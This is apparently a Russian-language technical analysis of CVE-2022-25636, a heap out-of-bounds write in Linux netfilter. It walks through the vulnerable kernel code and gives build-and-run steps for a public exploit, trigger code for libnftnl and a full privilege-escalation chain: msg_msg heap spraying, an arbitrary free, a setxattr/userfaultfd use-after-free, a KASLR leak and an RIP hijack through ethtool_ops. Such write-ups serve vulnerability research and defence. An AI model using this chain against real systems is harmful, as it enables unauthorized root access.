
Подробный технический анализ и описание эксплуатации для CVE-2022-25636, уязвимости переполнения кучи в netfilter ядра Linux, позволяющей повышение локальных привилегий через heap spraying и UAF.
[toc]
Идентификатор уязвимости: CVE-2022-25636
Продукт: linux kernel - netfilter
Затрагиваемые версии: linux kernel 5.4 ~
Воздействие: в модуле ядра netfilter присутствует запись за границы кучи; при наличии SYS_ADMIN возможет подъём привилегий.
Уязвимость находится в модуле ядра netfilter, код в трёх .ko файлах.
nft_dup_netdev.ko
nf_dup_netdev.ko
nf_tables.ko
При запуске через qemu возникают проблемы — модули не загружаются. Используется двухсторонняя отладка через vmware.
В ubuntu 21.10 можно вручную заменить ядро:
apt-get install linux-image-5.13.0-30-generic
Затем удалить исходное ядро и скомпилировать exp:
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit
Результат повышения привилегий (успешность менее 50%):

Уязвимая функция — nft_fwd_dup_netdev_offload:
linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
struct flow_action_entry *entry;
struct net_device *dev;
/* nft_flow_rule_destroy() releases the reference on this device. */
dev = dev_get_by_index(ctx->net, oif);
if (!dev)
return -EOPNOTSUPP;
entry = &flow->rule->action.entries[ctx->num_actions++];// выход за границы
entry->id = id;
entry->dev = dev;
return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);
При установке flow->rule->action.entries (эта структура переменной длины) отсутствует проверка границ кучи, что приводит к записи за границы (целое число (4 или 5) и указатель).
Функция используется в nft_flow_rule_create:
linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
const struct nft_rule *rule)
{
struct nft_offload_ctx *ctx;
struct nft_flow_rule *flow;
int num_actions = 0, err;
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {// вычисление num_actions на основе переданного правила
if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
num_actions++;// учитываются только элементы с флагом NFT_OFFLOAD_F_ACTION
expr = nft_expr_next(expr);
}
if (num_actions == 0)
return ERR_PTR(-EOPNOTSUPP);
flow = nft_flow_rule_alloc(num_actions);// выделение памяти под num_actions (структура переменной длины)
if (!flow)
return ERR_PTR(-ENOMEM);
expr = nft_expr_first(rule);
// ctx->num_actions инициализируется 0 ↓
ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
if (!ctx) {
err = -ENOMEM;
goto err_out;
}
ctx->net = net;
ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;
while (nft_expr_more(rule, expr)) {
if (!expr->ops->offload) {// вызов offload по количеству правил
err = -EOPNOTSUPP;
goto err_out;
}
err = expr->ops->offload(ctx, flow, expr);// вызов уязвимой функции
if (err < 0)
goto err_out;
expr = nft_expr_next(expr);
}
··· ···
··· ···
}
Видно, что nft_flow_rule_create выделяет структуру flow на основе количества правил из пользовательского пространства. Для подсчёта используется переменная num_actions, но подсчёт ведётся только для правил с флагом NFT_OFFLOAD_F_ACTION. На их основе выделяется память. При последующей обработке offload цикл выполняется не по num_actions, а по тому же первоначальному количеству правил. Однако здесь уже не проверяется флаг NFT_OFFLOAD_F_ACTION. То есть, если среди переданных правил есть такие, у которых нет флага NFT_OFFLOAD_F_ACTION, то количество вызовов offload будет больше, чем выделено под flow->rule->action.entries. Внутри offload вызывается уязвимая функция nft_fwd_dup_netdev_offload, которая каждый раз увеличивает ctx->num_actions, изначально равный 0. В итоге превышает размер массива , что приводит к выходу за границы.
Некоторые структуры:
struct nft_flow_rule {
__be16 proto;
struct nft_flow_match match;
struct flow_rule *rule;
};
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* user defined action cookie */
};
struct nft_offload_ctx {
struct {
enum nft_offload_dep_type type;
__be16 l3num;
u8 protonum;
} dep;
unsigned int num_actions;
struct net *net;
struct nft_offload_reg regs[NFT_REG32_15 + 1];
};
Стек вызовов:
Ссылка: https://www.openwall.com/lists/oss-security/2022/02/21/2
В этом письме объясняется, как использовать netfilter с помощью библиотек C libmnl и libnftnl. Ключевой момент для триггера уязвимости — наличие флага NFT_OFFLOAD_F_ACTION у добавляемых правил. Только правила, добавленные через nftnl_expr_alloc("immediate");, имеют этот флаг:
for(int i = 0; i < legit_writes; i++) {// добавление expr не вызовет выход за границы
exprs[exprid] = nftnl_expr_alloc("immediate");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
// следующее добавление вызовет выход за границы
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
Эксплуатация не очень стабильна, но техника изящна. Уязвимость позволяет записать по фиксированному смещению за границей неконтролируемый указатель. Личный анализ показывает очень высокую сложность эксплуатации. Простой анализ технического приёма. Согласно коду уязвимости, при каждом выходе за границы записывается целое число (id, фиксированно равно 4 или 5) и указатель (*dev), где указатель указывает на структуру struct net_device. Здесь сосредоточимся только на записи указателя dev:
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
··· ···
entry = &flow->rule->action.entries[ctx->num_actions++];// выход за границы
entry->id = id;
entry->dev = dev; // запись адреса кучи по фиксированному смещению, dev — struct net_device
··· ···
}
Что касается структуры struct flow_rule, так как она переменной длины, размер выделяемой памяти определяет возможность эксплуатации (успех).
Соответствующие структуры:
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_match {
struct flow_dissector *dissector;
void *mask;
void *key;
};
struct flow_dissector {
unsigned int used_keys; /* каждый бит означает наличие одного идентификатора ключа */
unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {// размер 0x50
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* пользовательский cookie действия */
};
Для эксплуатации сначала нужно утечь два раза адреса *dev. Так как нужно два разных адреса dev, один утекается в текущем процессе, другой — в дочернем процессе. Используется msg_msg для утечки ([обзор техники msg_msg] (https://blog.csdn.net/Breeze_CAT/article/details/123007818)). Выполняется heap spray сообщениями размером 0x1040; из-за структуры сообщение делится на две части: вторая часть msg имеет длину 0x70, плюс заголовок — всё это выделяется через kmalloc-128. Затем одно сообщение освобождается, освобождая одну область kmalloc-128. После этого с помощью структуры flow_rule с одним правилом (также kmalloc-128) пытаемся занять освобождённую вторую часть сообщения, формируя следующую компоновку кучи:

Если flow_rule получает только что освобождённую структуру msg_msgseg, то с высокой вероятностью он оказывается рядом с другими разбросанными msg_msgseg. При одном выходе за границы по смещению 0x8 будет записан указатель на кучу net_device (указатель dev). Достаточно принять все разбросанные сообщения, чтобы прочитать этот указатель, завершив утечку адреса для последующей эксплуатации без паники.
Далее необходимо утечь kaslr и получить базовый адрес ядра. Используется тот же метод: msg_msg + heap spray. Разбрасывается много сообщений kmalloc-192, на этот раз цель — первая часть msg_msg. Затем аналогично освобождается одно из них и выделяется flow_rule, чтобы постараться сформировать следующую компоновку кучи:

На этот раз используется структура flow_rule с двумя правилами, размер 0xC0, что относится к kmalloc-192. При 6 выходах за границы по смещению 0x18+0x50*5 будет записан указатель *dev. Если это попадает в третью область kmalloc-192 по смещению 0x28, и если это структура msg_msg, то это указатель security. При вызове msgrcv для освобождения этой структуры msg_msg будет вызван kfree, который освободит память, на которую указывает security. Это примитив освобождения произвольного адреса через msg_msg->security. Соответствующий код:
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
··· ···
··· ···
free_msg(msg);
··· ···
}
void free_msg(struct msg_msg *msg)
{
··· ···
security_msg_msg_free(msg);
··· ···
}
void security_msg_msg_free(struct msg_msg *msg)
{
call_void_hook(msg_msg_free_security, msg);
kfree(msg->security);
msg->security = NULL;
}
Таким образом, при приёме только что разбросанных сообщений будет освобождён указатель dev, которым мы перезаписали security, то есть освободится структура net_device. Затем с помощью setxattr + userfaulted пытаемся подменить этот блок, завершив UAF. setxattr может выделить кучу произвольного размера, записать произвольное содержимое и затем освободить. Это стандартный приём эксплуатации в ядре.
Поскольку в ядре много свободных kmalloc-192, одного вызова setxattr недостаточно. Используются несколько потоков, одновременно вызывающих setxattr, и с помощью userfaulted увеличивается время вызова, занимая блок дольше, чтобы выделить больше блоков ядра, включая только что освобождённую структуру net_device. После получения блока можно изменить содержимое net_device, изменив указатель dev_addr на указатель netdev_ops, так как netdev_ops инициализируется как loopback_ops. Также изменяются некоторые поля для проверки успешного изменения:
((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex
Затем, вызвав ioctl сокета с SIOCGIFHWADDR для чтения физического адреса, можно прочитать адрес loopback_ops и завершить утечку. Некоторые полезные поля net_device:
struct net_device {
char name[IFNAMSIZ]; // изменяется для проверки правильности замены
··· ···
const struct net_device_ops *netdev_ops;// инициализируется; используется для утечки адреса ядра
int ifindex;
·· ···
const struct ethtool_ops *ethtool_ops; // используется для перехвата rip
··· ···
unsigned char addr_len; // длина адреса для чтения
··· ···
unsigned char *dev_addr; // подменяется для утечки адреса; читается через SIOCGIFHWADDR
};
Тем же методом setxattr + userfaulted выполняется второй UAF. Теперь, имея адрес ядра, напрямую подменяем ethtool_ops в net_device для перехвата EIP. Затем через ioctl сокета с SIOCETHTOOL вызывается функция из ethtool_ops, что перехватывает RIP, и выполняется ROP. Эксплойт успешно отработал на ubuntu 21.10 с версией ядра 13.0-30:
exp: https://github.com/Bonfee/CVE-2022-25636

Письмо: https://www.openwall.com/lists/oss-security/2022/02/21/2
Документация автора: https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/
ctx->num_actionsflow->rule->action.entries